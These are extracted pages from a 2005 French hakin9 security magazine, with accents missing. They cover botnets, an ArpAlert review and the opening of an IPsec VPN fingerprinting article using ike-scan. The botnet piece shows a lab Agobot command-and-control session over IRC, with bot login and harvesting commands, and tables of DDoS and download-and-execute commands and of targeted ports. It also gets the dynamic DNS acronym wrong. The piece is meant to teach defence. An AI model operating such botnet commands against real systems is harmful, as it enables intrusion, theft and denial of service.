de type DDoS. Un unique message
spam pourrait tre envoy sur le r-
seau d'htes infects puis distribu
travers tous les robots, qui en-
voient leur tour le message non
dsir. La personne l'origine de ce
multipostage abusif demeure bien
sr anonyme et la faute retombe sur
les ordinateurs infects.
Aspiration de mot de passe et
espion de clavier
Les robots peuvent galement tre
utiliss de manire effcace dans le
but d'amliorer l'ancienne techni-
que dite de l'aspiration de mot de
passe. L'observation des donnes
du trafc peut conduire dtecter
une quantit incroyable d'informa-
tions, comprenant les habitudes
des utilisateurs, les donnes utiles
des paquets TCP susceptibles de
contenir des informations dignes
d'intrt (telles que les mots de
passe), etc. Ce mme procd est
valable pour les espions de clavier,
technique consistant capturer
l'ensemble des informations tapes
sur le clavier par un utilisateur
(adresses e-mails, mots de passe,
donnes bancaires personnelles,
informations sur les comptes Pay-
Pal, etc.).
Vol d'identit
Les mthodes mentionnes plus
haut permettent aux pirates de
Figure 1. Structure d'un rseau classique d'ordinateurs zombies
Tableau 1. Liste des ports associs
des services vulnrables
Port Service
42 WINS (Serveur de Noms
de Domaine)
80 HTTP (vulnrabilit IIS ou
Apache)
135 RPC (Remote Procedure
Call ou Appel de Proc-
dure distance)
137 Service de nom NetBIOS
139 Service de session Net-
BIOS
445 Service de Microsoft-DS
1025 Windows Messenger
1433 Serveur Microsoft-SQL
2745 Porte drobe pour le ver
Bagle
3127 Porte drobe pour le ver
MyDoom
3306 MySQL UDF (User Defna-
ble Functions ou Fonctions
Dfnissables par l'Utilisa-
teur)
5000 UPnP (Universal Plug and
Play)
Figure 2. Durcissement du rseau d'ordinateurs zombies
Guerre des robots
hakin9 N 6/2005 www.hakin9.org 39
contrler un rseau de zombies de
manire collecter une quantit
incroyable d'informations person-
nelles. De telles donnes peuvent
ensuite tre utilises pour cons-
tituer de fausses identits, afn
d'obtenir un accs des comptes
personnels ou de raliser diverses
oprations malveillantes (y compris
d'autres attaques) en faisant accu-
ser quelqu'un d'autre.
Hbergement de logiciels
illgaux
Enfn, les ordinateurs contamins
par robots peuvent tre utiliss sous
forme de rfrentiels dynamiques de
matriel illgal (logiciels pirats, por-
nographie, etc.). Les donnes sont
stockes sur le disque d'un utilisa-
teur ADSL sans qu'il soit au courant
de tels agissements.
Vous pourriez passer des heures
voquer les possibles applications
des rseaux d'ordinateurs zombies
(par exemple paiement par abus de
clic, hameonnage ou phishing, pira-
tage des connexions HTTP/HTTPS,
etc.). Les robots, pris seuls, ne sont
rien d'autre que des outils, facilement
adaptables chaque tche ncessi-
tant un grand nombre d'htes sous
un contrle unique.
Les diffrents types de
robots
De nombreux types de robots prts
l'emploi sont tlchargeables
partir d'Internet. Chacun dispose
de ses propres fonctionnalits par-
ticulires. On va voquer ici les
robots les plus utiliss, en souli-
gnant leurs fonctionnalits et leurs
spcifcits.
Robot GT
Tous les robots de type GT (Global
Threat ou Menace globale) reposent
sur le trs populaire client IRC pour
Windows appel mIRC. Le noyau
de ces robots est compos d'un
ensemble de scripts mIRC, utiliss
pour contrler l'activit d'un sys-
tme distance. Ce type de robots
se charge de lancer une instance
du client qui a t amliore au
moyen de scripts de contrles et a
recours une seconde application,
le plus souvent HideWindow, afn
de dissimuler mIRC l'utilisateur
de l'ordinateur hte. Un fchier sup-
plmentaire DLL vient ajouter de
nouvelles fonctionnalits au client
mIRC afn de permettre aux scripts
d'infuencer divers aspects de l'hte
contrl.
Agobot
Agobot est probablement le robot le
plus utilis par les pirates. Il est crit
en C++ et a t distribu sous une
licence GPL. L'aspect le plus int-
ressant d'Agobot est sans conteste
son code source. Extrmement
modulaire, il permet d'ajouter de
nouvelles fonctions trs facilement.
Agobot propose de nombreux m-
canismes permettant de dissimuler
sa prsence sur l'ordinateur hte.
Parmi ces mcanismes, on peut
citer : NTFS Alternate Data Stream,
Antivirus Killer ainsi que le moteur
Polymorphic Encryptor Engine.
Agobot propose une aspiration de
trafc et un classement des fonc-
tionnalits. Des protocoles autres
que l'IRC peuvent galement tre
utiliss pour contrler ce robot.
DSNX
Le robot Dataspy Network X est
lui aussi crit en C++ et son code
source est galement disponible
sous la licence GPL. Il est trs facile
d'ajouter de nouvelles fonctionnalits
Services DNS Dynamiques
Un DSN (Deep Space Network ou Rseau de l'Espace Lointain) dynamique (RFC
2136) est un systme charg de lier le nom d'un domaine une adresse IP dynamique.
Les utilisateurs qui se connectent Internet via des modems, l'ADSL ou un cble, ne
possdent gnralement pas d'adresse IP fxe. Lorsqu'un tel utilisateur se connecte
Internet, le fournisseur d'accs Internet attribue une adresse IP inutilise choisie
partir d'un pool slectionn. Cette adresse est gnralement maintenue le temps de
cette connexion spcifque.
Ce mcanisme permet aux fournisseurs d'accs Internet de maximiser l'utilisation
de pool IP disponible, mais pnalise les utilisateurs qui ont besoin de certains services
disponibles sur Internet de manire permanente, mais ne peuvent pas se payer une
adresse IP statique. Afn de rsoudre ce problme, les services DSN dynamiques ont
t crs. Les fournisseurs proposant de tels services utilisent un programme parti-
culier, charg d'informer la base de donnes DSN chaque modifcation d'utilisateurs
d'une adresse IP.
Figure 3. Interface de confguration d'Agobot
hakin9 N 6/2005 www.hakin9.org
Pratique
40
ce robot, grce son architecture
simple base sur les plugins.
SDBot
SDBot est crit en langage C et est
galement disponible sous la licence
GPL. Contrairement Agobot, son
code source n'est pas trs clair et le
logiciel lui-mme ne propose qu'un
ensemble trs limit de fonctionna-
lits. Nanmoins, il s'agit d'un robot
trs utilis qui se dcline en diffren-
tes variantes.
Elments constitutifs
d'une attaque
Vous trouverez dans la Figure 1 la
structure traditionnelle d'un rseau
d'ordinateurs zombies :
Le pirate commence par rpan-
dre un cheval de Troie, charg
d'infecter divers htes. Ces htes
deviennent des zombies puis se
connectent au serveur IRC afn
d'couter plus de commandes,
Le serveur IRC peut soit tre
une machine publique prsente
dans l'un des rseaux IRC, soit
un serveur particulier install
par le pirate sur l'un des htes
infects,
Les robots s'excutent sur les
ordinateurs infects, afn de
former un rseau d'ordinateurs
zombies.
Exemple concret
L'activit du pirate peut tre divise
en quatre tapes distinctes :
cration,
confguration,
infection,
contrle.
L'tape de cration dpend dans
une large mesure des comptences
du pirate en question ainsi que de
ses besoins. Un pirate peut, en ef-
fet, dcider d'crire son propre code
de robot, ou se contenter d'ten-
dre ou de personnaliser un robot
existant. Un large choix de robots
prts l'emploi est disponible et
hautement confgurable. L'utilisation
d'une interface graphique facilite
grandement leur application. Ce qui
explique qu'il s'agit de l'option la
plus utilise par les script kiddies
(pirates adolescents).
L'tape de confguration consiste
fournir au serveur et au canal IRC
des informations. Une fois install
sur la machine infecte, le robot va
se connecter l'hte slectionn. Le
pirate commence par entrer les don-
nes ncessaires visant restrein-
dre l'accs aux robots, puis scurise
le canal et fnit par fournir une liste
d'utilisateurs autoriss (capables par
la suite de contrler les robots). Lors
de cette tape, le robot peut tre
Figure 4. Serveur matre et connexion au canal
Figure 5. Authentifcation du nom et du mot de passe de l'utilisateur
Netstat
Netstat est un outil extrmement fexible disponible pour Windows et les systmes
*NIX. Sa principale fonction consiste contrler les ports actifs. Netstat examine les
ports d'coute TCP et UDP et fournit des informations dtailles sur l'activit du r-
seau. Sur les systmes *NIX, Netstat affche l'ensemble des fux de donnes ouverts.
Il a galement recours des fltres de slection de donnes de sortie.
Les statuts de connexions possibles sont les suivants :
ESTABLISHED les deux htes sont connects,
CLOSING l'hte distant ferme la connexion,
LISTENING l'hte coute les connexions entrantes,
SYN_RCVD un hte distant a demand dbuter une connexion,
SYN_SENT l'hte dbute une nouvelle connexion,
LAST_ACK l'hte doit envoyer un rapport avant de fermer la connexion,
TIMED_WAIT, CLOSE_WAIT un hte distant met un terme la connexion,
FIN_WAIT 1 le client met un terme la connexion,
FIN_WAIT 2 les deux htes ferment la connexion.
Guerre des robots
hakin9 N 6/2005 www.hakin9.org 41
plus personnalis, en dfnissant,
par exemple, la cible et la mthode
d'attaque.
L'tape d'infection consiste
utiliser diverses techniques afn de
rpandre les zombies, de manire
directe et indirecte. Les techniques
directes comprennent l'exploita-
tion des vulnrabilits du systme
d'exploitation ou des services. Les
techniques indirectes ont recours
d'autres logiciels pour excuter le
sale travail. Parmi ces techniques,
citons l'utilisation de fchiers HTML
malforms visant exploiter les
vulnrabilits d'Explorer, ou encore
l'utilisation d'autres programmes
malveillants distribus via les r-
seaux poste poste ou l'change de
fchiers DCC (Direct Client-to-Client)
sous le protocole IRC. Les attaques
directes sont en rgle gnrale
automatises grce l'utilisation de
vers. La tche de ces vers consiste
chercher des sous-rseaux dans
les systmes vulnrables puis d'y
injecter le code du robot. Chaque
systme infect poursuit par la suite
le processus d'infection, permettant
ainsi au pirate de gagner un temps
prcieux pour chercher de nouvelles
victimes.
Les mcanismes utiliss pour
distribuer les robots constituent l'une
des principales raisons de ce qu'on
appelle l'Internet background noise
ou en bruit de fond. Les principaux
ports impliqus dans le processus
sont ceux utiliss par Windows,
plus particulirement par Windows
2000 et XP SP1 (voir le Tableau 1).
Il semble que ce soient les cibles pri-
vilgies des pirates, dans la mesure
o il est relativement facile de trou-
ver des ordinateurs Windows non
protgs ou d'autres sans pare-feu
install. C'est souvent le cas avec
les utilisateurs de PC familiaux et
les petites socits, qui ignorent les
problmes de scurit et disposent
d'une connexion Internet toujours
active sur large bande.
L'tape de contrle est un en-
semble d'actions ralises aprs
installation du robot sur l'hte cible
dans un rpertoire slectionn.
Afn de dbuter avec Windows, ce
dernier met jour les cls d'enre-
gistrement, gnralement comme
suit HKEY _ LOCAL _ MACHINE\SOFTWARE\
Microsoft\Windows\CurrentVersion\
Run\. Une fois l'installation russie,
le robot commence par se connecter
au serveur IRC puis rejoint le canal
de contrle au moyen d'un mot
de passe. Le pseudo sur IRC est
gnralement gnr de manire
alatoire. Le robot est alors prt
accepter les commandes d'une
application matresse. Le pirate doit
galement utiliser un mot de passe
afn de se connecter au rseau d'or-
dinateurs zombies. Cette manuvre
est, en effet, ncessaire, de manire
ce que personne d'autre ne puisse
utiliser le rseau d'ordinateurs zom-
bies fourni.
Le protocole IRC fournit non
seulement les moyens de contrler
des centaines de robots, mais per-
met galement au pirate d'utiliser
diverses techniques pour dissimuler
sa relle identit. C'est la raison pour
laquelle il est si diffcile de rpondre
ces attaques. Heureusement, les
rseaux d'ordinateurs zombies, par
leur nature, gnrent un trafc sus-
pect, facilement dtectable grce
aux modles connus. Ceci permet
aux administrateurs IRC de dtecter
et d'intervenir en cas d'attaques, de
mettre un terme au rseau d'ordina-
teurs zombies et de rapporter l'abus.
Figure 6. Rponse la requte issue du premier robot de l'ordinateur matre
Figure 7. Rponse la requte issue du second robot de l'ordinateur matre
Figure 8. Netstat l'oeuvre sur un systme infect
hakin9 N 6/2005 www.hakin9.org
Pratique
42
Les pirates sont ainsi obligs
de redfnir leur technique de C&C
(Contrle et Commande), ce qui
mne un durcissement des r-
seaux d'ordinateurs zombies. Les
robots sont donc confgurs de
manire pouvoir se connecter
diffrents serveurs en utilisant un
nom d'hte transform de manire
dynamique. Ainsi, le pirate peut fa-
cilement dplacer son robot vers de
nouveaux serveurs, les maintenant
sous contrle mme aprs dtec-
tion. Les services dynamiques DNS
tels que dyndns.com ou no-ip.com
sont utiliss pour ce genre de tche
(voir la partie intitule Services DSN
Dynamiques).
Afn de dissimuler l'activit, le
canal IRC est confgur de manire
limiter l'accs et cacher l'ac-
tivit. Les modes IRC classiques
utiliss par les canaux de rseaux
d'ordinateurs zombies sont les
suivants : +k (un mot de passe est
requis pour entrer dans le canal),
+s (le canal n'apparat pas dans la
liste des canaux public), +u (seuls
les oprateurs sont visibles sur la
liste des utilisateurs), +m (seuls les
utilisateurs dots du statut vocal
+v peuvent envoyer des messages
vers le canal). Une grande majo-
rit de pirates chevronns ayant
recours aux serveurs personnaliss
IRC cryptent l'ensemble des com-
munications au moyen du canal. Ils
ont galement tendance utiliser
des variantes personnalises de
logiciels de serveurs IRC, confgu-
res de manire espionner sur
les ports non standards en utilisant
une version modife du protocole,
de sorte qu'un client normal IRC
ne puisse pas se connecter au
rseau.
Les techniques
de Contrle et de
Commande en
pratique : Agobot
Examinez maintenant un exemple de
scnario d'attaque, qui vous permettra
d'analyser clairement le processus de
commande et de contrle d'un rseau
d'ordinateurs zombies. On a utilis
pour cet exemple deux ordinateurs.
Le premier excute un serveur IRC
bas sur UnrealIRCd 3.2.3 ainsi que
deux machines virtuelles Windows XP
SP1 bases sur VMware Workstation
(deux cibles potentielles d'infection).
Le second a t utilis pour contrler
le rseau d'ordinateurs zombies via
Irssi, client texte IRC.
Afn de compliquer le processus
d'ingnierie inverse, Agobot installe
des sous-programmes capables de
dfendre le logiciel contre les dbo-
gueurs tels que SoftICE ou OllyDbg,
et contre l'utilisation de machines
virtuelles telles que VMware et Vir-
tual PC. Il a donc t ncessaire de
pirater le code source du robot afn
de contourner la protection VMware,
avant de pouvoir installer le robot sur
nos systmes virtuels.
Confguration
La premire tape consiste confgu-
rer le robot au moyen de son interface
graphique simple (voir la Figure 3).
Les informations entres compren-
nent le nom et le port du serveur
IRC, le nom du canal, une liste des
utilisateurs qui greront les mots de
passe, et enfn, le nom du fchier et le
rpertoire dans lequel le robot sera
install. On a galement activ cer-
tains plugins comme un support pour
l'aspiration de mots de passe et un
moteur polymorphe. Ainsi un fchier
confg.h, essentiel pour la compila-
tion du robot, est obtenu.
Commande et Contrle
Une fois le robot compil, les deux
systmes de test ont t infects
manuellement. L'ordinateur matre
s'est connect au serveur IRC puis a
rejoint le canal afn de pouvoir pren-
dre la contrle et les commandes du
robot (voir la Figure 4) :
/connect 192.168.10.3
/join #arrakis
Afn d'obtenir le contrle des robots,
il est ncessaire de procder une
authentifcation. Ce que pouvait tre
ralis en envoyant tout simplement
une commande vers le canal (voir la
Figure 5) :
.login FaDe dune
Puis, le premier robot a t demand
une liste de tous les processus en
cours d'excution sur l'ordinateur
infect (voir la Figure 6) :
/msg FakeBot-wszyzc .pctrl.list
Tableau 2. Certaines commandes d'Agobot
Commandes Description
command.list
Liste de toutes les commandes disponibles
bot.dns
Rsout un nom d'hte/d'IP
bot.execute
Excute un fchier .exe sur un ordinateur distant
bot.open
Ouvre un fchier sur un ordinateur distant
bot.command
Excute une commande avec system()
irc.server
Se connecte un serveur IRC
irc.join
Entre dans un canal spcifque
irc.privmsg
Envoie un message priv l'utilisateur
http.execute
Tlcharge et excute un fchier via HTTP
ftp.execute
Tlcharge et excute un fchier via FTP
ddos.udpfood
Dmarre un fux de donnes UDP
ddos.synfood
Dmarre une inondation de requtes Syn
ddos.phaticmp
Dmarre une inondation de PHATicmp
redirect.http
Dmarre un serveur mandataire HTTP
redirect.socks
Dmarre un serveur mandataire SOCKS4
pctrl.list
Liste les processus
pctrl.kill
Tue les processus
Guerre des robots
hakin9 N 6/2005 www.hakin9.org 43
Ensuite le second robot a t deman-
d des informations sur le systme
ainsi que les cdkeys des applications
installes (voir la Figure 7) :
/msg FakeBot2-emcdnj .bot.sysinfo
/msg FakeBot2-emcdnj .harvest.cdkeys
Des fonctions simples ont t utili-
ses dans cet exemple, mais Agobot
propose un ensemble fourni de com-
mandes et de fonctions. Certaines
d'entre elles sont exposes dans le
Tableau 2.
Comment protger vos
ordinateurs
Vous allez maintenant aborder les
mthodes de protection contre ce
type d'infections du point de vue
la fois de l'utilisateur et de l'admi-
nistrateur.
Stratgies de dfense
destines aux utilisateurs de
PC
Comme il a t dj mentionn plus
haut, les infections par robots sont
principalement ralises au moyen
de vers, qui explorent le Net la
recherche de machines vulnrables.
La premire tape consiste donc
maintenir votre systme jour,
en tlchargeant les programmes
de correction et les mises jour
de votre systme pour le systme
d'exploitation et galement pour l'en-
semble des applications ayant accs
Internet. Les mises jour automa-
tiques sont assez judicieuses. Il est
galement important de demeurer
prudent au moment d'ouvrir des
pices jointes douteuses dans vos
e-mails. Il est galement pertinent
de dsactiver les supports pour les
langages de script tels que ActiveX
et JavaScript (ou au moins contrler
leur utilisation). Enfn, il est essentiel
d'utiliser un programme antivirus/anti
cheval de Troie et de le maintenir
jour. Toutefois, de nombreux ro-
bots sont confgurs de manire
contourner les contrles antivirus.
Il n'est donc pas inutile d'installer un
pare feu personnel afn de scuri-
ser davantage votre systme, plus
particulirement si votre ordinateur
tourne 24 heures sur 24.
Les principaux signes qui trahis-
sent la prsence d'un robot dans vo-
tre systme sont un ralentissement
de connexion et du systme. L'outil
netstat (voir la Figure 8 ainsi que la
partie intitule Netstat) propose un
contrle facile et effcace des con-
nexions douteuses) :
C:/>netstat -an
Contrlez les connexions ESTA-
BLISHED sur les ports TCP dans
une porte entre 6000 et 7000 (g-
nralement 6667). Si vous ralisez
que votre ordinateur est fragilis, d-
connectez-vous d'Internet, nettoyez
votre systme, redmarrez le puis
recontrlez le une nouvelle fois.
Stratgies de dfense
destines aux administrateurs
Les administrateurs sont toujours
censs se tenir informs des toutes
dernires vulnrabilits, et lire quoti-
diennement les ressources disponi-
bles relatives la scurit Internet.
Souscrire une liste de diffusion
comme Bugtraq est assez judicieux.
Les administrateurs devraient ga-
lement essayer de sensibiliser leurs
utilisateurs et dfnir des politiques
de scurit et de confdentialit.
Il est galement ncessaire
d'tudier les journaux gnrs par
les Systmes de Dtection d'Intru-
sion et les systmes de pares feux,
les serveurs de messagerie, les
serveurs DHCP et mandataires. Ces
actions peuvent permettre de rep-
rer tout trafc anormal, susceptible de
trahir la prsence d'un robot dans le
rseau. Une fois un tel trafc remar-
qu, un aspirateur peut se rvler
utile afn d'identifer le sous-rseau
et l'ordinateur l'origine du trafc
anormal. Tout ceci peut vous paratre
vident, mais ce sont des lments
souvent ngligs.
Il est galement possible d'avoir
recours des techniques plus so-
phistiques afn d'tudier et de d-
tecter d'ventuelles menaces. Une
de ces techniques est le recours aux
honeybots ou pots de miel. Les ho-
neybots sont des machines conues
pour tre facilement vises par les
attaques. Leur rle consiste deve-
nir infectes afn de permettre l'ad-
ministrateur de remonter l'origine
du problme et d'tudier la mthode
d'attaque utilise.
Pour fnir, et malgr tous les outils
notre disposition, la dfense la plus
effcace contre les attaques par r-
seaux d'ordinateurs zombies repose
sur le comportement et la sensibili-
sation de l'utilisateur lui-mme. l
propos des auteurs
Massimiliano Romano s'intresse principalement l'informatique et les rseaux. Il
travaille en tant qu'indpendant pour l'une des plus importes socits de tlphonie
mobile italienne. Il consacre une grande partie de son temps libre Ham Radio, en
tudiant et dcodant les signaux radio numriques.
Simone Rosignoli est tudiant l'Universit La Sapienza de Rome. Il achve
actuellement ses tudes en Technologies Informatiques (Systmes et Scurit). Ses
centres d'intrt vont de la programmation la scurit informatique.
Ennio Giannini travaille en tant qu'analyste systme. Il consacre son temps libre
tester des environnements GNU/Linux. C'est un partisan convaincu de la communaut
Open Source.
Sur Internet
http://www.honeynet.org/papers/bots/ utilisation des honeybots ou pots de miel
afn d'tudier l'activit des robot,
http://security.isu.edu/ppt/pdfppt/Core02.pdf outils et stratgies pour se prot-
ger des attaques,
http://www.securitydocs.com/library/3318 introduction Netstat,
http://www.irchelp.org/irchelp/faq.html introduction au protocole IRC.
44
Pratique
hakin9 N 6/2005 www.hakin9.org
Dmarrage rapide : Vous tes administrateur d'un LAN
relativement vaste mais aux accs particulirement
incontrlables. Sachant que les contaminations virales et
les vols de donnes viennent le plus souvent de machi-
nes trangres au rseau qui se connectent sans auto-
risation, il faut imprativement dtecter ces connexions
illicites. C'est ce niveau l qu'intervient ArpAlert.
Commencez par tlcharger la dernire rvision du
programme sur le site offciel. Vous devrez passer par
les sources, les diffrentes formes de packages ne sont
pas encore gres. Un traditionnel ./confgure && make &&
make install avec les droits root installera l'application
sur votre machine. Vous pouvez prciser avec ./confgure
l'emplacement du rpertoire de base, par dfaut celui ci
sera /usr/local/arpalert.
Un fchier de confguration par dfaut sera plac
dans /usr/local/arpalert/etc/arpalert/arpalert.conf. Afn
de rendre celui-ci fonctionnel vous allez supprimer quel-
ques options avances. L'option dsigne par log unauth
request et alert on unauth request dans le fchier de con-
fguration doit tre dsactive en changeant les valeurs
true par false puis commentez la ligne contenant le para-
mtre auth request fle. Vous devez galement modifer
les paramtres commenants par alert on sur false.
Toujours sous le compte root, dmarrez maintenant
le programme par un simple /usr/local/arpalert/sbin/
arpalert -d. le -d permettra le lancement en mode
dmon. Pour automatiser le mode dmon au dmarrage,
ditez le fchier de confguration et remplacez la ligne
daemon = false par daemon = true. Vous pouvez faire un
tail -f /var/log/messages (ou /var/log/syslog selon les
distributions) et vous verrez toute les machines de votre
rseau dtectes. Ces nouvelles machines seront stoc-
kes dans le fchier /usr/local/arpalert/var/lib/arpalert/
arpalert.leases quelques cat sur ce fchier vous laisse-
ront voir la liste des machines dtectes.
Lorsque toutes les machines du rseau local ont t
dcouvertes, recopiez le contenu de ce fchier dans le fchier
maclist.allow (cat /usr/local/arpalert/var/lib/arpalert/
arpalert.leases > /usr/local/arpalert/etc/arpalert/
maclist.allow), n'hsitez pas complter ce fchier la
main. Sans avoir touch au fchier de confguration, red-
marrez le dmon, l'application fonctionne. partir de main-
tenant toutes les nouvelles machines dtectes sont des
intrus potentiels et un message sera mis dans les logs.
Autres qualits : L'alerte peut galement tre donne
travers l'excution d'un script. Ce mode de fonctionne-
ment permet d'tre alert des tentatives d'intrusions par
mail ou par toute autre mthode imaginable. Ce script est
renseign par le paramtre action on detect et activ
avec chaque paramtre alert on... positionn sur true.
Dfauts : Bien qu'ArpAlert soit bas sur un principe trs
simple, sa confguration doit tre spcifque et adapte
chaque rseau. Ses mcanismes anti-food peuvent
faire perdre de la pertinence la dtection s'ils sont
mal paramtrs. Les rglages de bases conviennent
un rseau comprenant entre 20 et 200 machines.
Thierry Fournier
Systme : Linux (portage rapidement prvu sous *NIX et BSD)
Licence : GNU GPL
But : dtection de machines non autorises se connecter sur un rseau
Page d'accueil : http://perso.numericable.fr/~fourthie/arpalert.php
ArpAlert est un dmon ddi la surveillance de LAN. Son action est bas
sur l'coute du protocole ARP coupl une liste d'adresses MAC valides.
Il permet donc une surveillance permanente du rseau interne. Il s'est vu int-
gr dans des systmes de scurit pour entreprises tel que le LANDefender
(http://www.exceliance.fr/ldapercu.htm).
ArpAlert 0.4.10
Figure 1. Le format des logs Figure 2. Le fchier de confguration
www.hakin9.org hakin9 N 6/2005 46
Fiche technique
L
a scurit de VPN est souvent oublie
durant les tests d'intrusion. Il existe plu-
sieurs raisons pour l'expliquer : les VPN
sont souvent considrs comme tant par na-
ture scuriss car ils se servent d'une crypto-
graphie puissante ; les VPN IPsec ne sont, en
gnral, pas dtects par des scans de ports
et de nombreuses personnes se sentent per-
dues dans la complexit du protocole. Grce
de bons outils et de bonnes techniques, il est
toutefois relativement simple de trouver et de
rcuprer des empreintes de ces systmes.
Vous apprenez comment dtecter les VPN
IPsec (reportez vous l'encadr Introduction
IPsec), dterminer l'quip ement utilis et
trouver des informations utiles. Vous verrez
que la complexit du protocole IPsec rend en
fait la rcupration des empreintes de VPN
plus facile car chaque fabricant interprte les
standards de faon diffrente.
Dtection des VPN IPsec
Comme il a t dj dit, les serveurs IPsec VPN
ne sont pas en gnral dtects par les scans de
ports. C'est parce qu'ils n'coutent sur aucun port
TCP et par consquent aucun scans de ports
TCP ne peut les trouver. De plus, ils n'envoient,
en gnral, pas de messages ICMP de type des-
tination inaccessible (host unreachable) ; donc,
les scans de ports UDP ne dtectent pas de IKE
sur le port 500 (un port standard pour ce type
de connexions) et un scan raw IP ne dtectera
ni d'ESP ni d'AH avec les protocoles IP 50 et 51.
En revanche, les procdures RFC IPsec spci-
fent que les paquets incorrectement formats
devront tre ignors ; en envoyant en UDP des
informations parasites alatoires au port 500 ou
des protocoles IP 50 et 51 vous n'obtiendrez pas
de rponse non plus.
Une manire effcace pour dtecter les
systmes VPN IPsec consiste envoyer un
Dtection et relev
d'empreintes des VPN
IPsec
Roy Hills
Degr de diffcult
De nombreuses personnes croient que les systmes VPN IPsec
sont invisibles et, par nature, scuriss. Pourtant, en ralit, il est
facile de dtecter et de rcuprer l'empreinte de la plupart des
implmentations. Une fois cette tape termine, effectuer une
attaque russie est une question de temps.
Cet article explique...
comment dtecter les systmes VPN IPsec,
comment utiliser les techniques de rcupra-
tion d'empreintes (en anglais fngerprinting)
pour dterminer le type du systme VPN.
Ce qu'il faut savoir...
les concepts de rseau TCP/IP,
les bases des IPsec VPN.
Dtection des VPN
hakin9 N 6/2005 www.hakin9.org 47
paquet IKE correctement format
tous les systmes que vous sou-
haitez tester et affcher toutes les
rponses IKE reues. Cette mtho-
de est capable de dtecter les VPN
IPsec qui se servent de IKE pour
changer des cls et ne restrei-
gnent pas les adresses IP source
auxquelles ils rpondent. En pra-
tique, la quasi totalit d'implmen-
tations IPsec modernes se servent
de IKE ; une alternative consiste
changer les cls manuellement
mais c'est trs rare.
Le programme ike-scan vous
permet d'envoyer un paquet IKE aux
systmes cibles spcifs et d'aff-
cher des rponses. Dans cet article,
vous allez vous servir principalement
de cet outil.
Utiliser le ike-scan avec les
paramtres par dfaut
Dans un premier temps, vous dmar-
rez ike-scan vers les htes cibles en
laissant les paramtres par dfaut.
L'outil ike-scan se servira de ces pa-
ramtres pour envoyer un paquet IKE
en Mode Principal pour chaque cible.
Ce paquet comprend une en-tte
ISAKMP, accompagne de la charge
de SA. La charge SA contient une seu-
le proposition (en anglais proposal) qui
son tour contient huit transformations
(en anglais transform). La Figure 2
prsente la structure de ce paquet IKE
et le Tableau 1 montre les attributs de
chacun de huit transformations.
Le Listing 1 prsente un exemple
de la sortie de ike-scan pour le d-
marrage initial de la dtection ; dans
cet exemple, le fchier contenant les
adresses IP cibles, que vous voulez
scanner au moyen de l'option -fle,
est spcif. Vous pouvez constater
que certains systmes rpondent par
un Main Mode Handshake (prise de
contact en Mode Principal), ce qui
signife qu'ils veulent procder aux
ngociations IKE avec vous et qu'au
moins une de vos transformations est
acceptable. Vous pouvez galement
constater que d'autres systmes
rpondent par un Notify message
(message de notifcation). Cela signi-
fe que soit le systme ne souhaite pas
ngocier avec vous (par exemple, il
n'accepte les requtes que de certai-
nes adresses IP sources) soit aucune
de vos transformations n'est accepta-
ble. Puisque vous voulez simplement
dtecter les systmes VPN, le type de
message envoy par les systmes en
rponse ne vous intresse pas ; peu
importe qu'il s'agisse d'un message de
notifcation ou d'un message de prise
de contact, dans les deux cas, les sys-
tmes sont dtects.
En ce qui concerne les systmes
qui ont rpondu par un message de
handshake, vous pouvez voir les dtails
de la transformation accepte dans la
charge SA, par exemple Enc=3DES
Hash=MD5 Group=2:modp1024 Auth=PSK
LifeType=Seconds LifeDuration=28800,
ce qui donne Triple-DES pour le chif-
frement, MD5 pour l'algorithme de ha-
chage HMAC, groupe Diffe-Hellman 2
(qui est un groupe MODP de 1024
octets), l'authentifcation par la cl
pr-partage (en anglais Pre-Shared
Key, PSK) et une dure de la SA de
28800 secondes. Certains systmes
incluent galement un payload Vendor
Introduction IPsec
IPsec n'est pas un protocole en tant que tel. Il s'agit plutt d'un framework comprenant
un certain nombre de protocoles indpendants qui travaillent ensemble pour fournir
des fonctionnalits VPN. Il existe trois protocoles principaux dans le framework :
IKE (Internet Key Exchange) : gre l'authentifcation et l'change de cls entre les
systmes de peer-to-peer,
AH (Authentication Header) : fournit l'authentifcation et l'intgrit de donnes,
ESP (Encapsulating Security Payload) : fournit la confdentialit (chiffrement)
et peut en plus fournir l'authentifcation et l'intgrit des donnes.
La plupart des VPN IPsec se servent du protocole IKE pour authentifer les pairs, n-
gocier des algorithmes de chiffrement et changer les cls. Ils se servent galement
de l'ESP pour crypter les donnes qui traversent VPN (AH est rarement utilis). Dans
cet article, vous vous concentrez uniquement sur le protocole IKE (les autres ne seront
pas analyss). IKE est le protocole le plus complexe dans le framework IPsec. Comme
vous allez le constater, cette complexit vous permettra de rcuprer des empreintes
des systmes VPN.
IKE se droule en deux phases : Phase 1, charge d'authentifer et d'tablir l'as-
sociation de scurit (SA) pour la deuxime phase et Phase 2, charge de ngocier
la SA pour les donnes. La phase 1 peut oprer dans l'un de ces deux modes : Mode
Principal (Main Mode) et Mode Agressif (Aggressive Mode). Par opposition, la phase
2 ne comprend qu'un seul mode, appel Mode Rapide Quick Mode (en ce qui con-
cerne cet article, vous allez vous concentrer sur la phase 1). La Figure 1 prsente les
relations entre les diffrents protocoles dans le framework IPsec.
Figure 1. Vue d'ensemble du
framework du protocole IPsec
Figure 2. Le paquet IKE en Mode
Principal et le bloc transform par
dfaut
hakin9 N 6/2005 www.hakin9.org
Fiche technique
48
ID (VID) dans leurs rponses. Cela
sera dcrit plus tard lors de l'analyse
de la rcupration d'empreintes des
systmes. Pour les systmes rpon-
dant par un message de notifcation,
vous recevrez le numro du message ,
et le nom qui correspond ce numro,
par exemple : Notify message 14 (NO-
PROPOSAL-CHOSEN).
Tester des diffrentes
transformations
Il existe aussi des systmes VPN qui
ne rpondent pas par un message de
notifcation lorsque aucune transfor-
mation n'est accepte. Certains d'en-
tre eux ignorent tout simplement les
paquets IKE contenant des attributs
non valides. Il faut trouver une trans-
formation acceptable afn d'obtenir les
rponses de ce type de systmes.
Chaque transformation comporte
un nombre variable d'attributs mais
en pratique, vous n'en avez besoin
que quatre cette tape : l'algorithme
de chiffrement (et la longueur de la cl
pour les chiffres de longueur variable),
l'algorithme de hachage, la mthode
d'authentifcation et le groupe Diffe-
Hellman. Vous pouvez laisser la dure
de la SA en secondes par dfaut,
savoir 28800, car ce chiffre est ac-
cept pratiquement chaque fois et
il n'est donc plus ncessaire d'ajouter
d'autres attributs. La valeur pour cha-
cun des quatre attributs est un nombre
non sign de 16 bits et par cons-
quent, il y a 65536 valeurs possibles.
Si toutes ces valeurs taient possi-
bles, vous disposeriez alors de 65536
4

(environ 18 millions de milliards) de
combinaisons diffrentes et il serait
alors impossible de toutes les tester.
Toutefois, en pratique, chaque attribut
se sert seulement de quelques valeurs
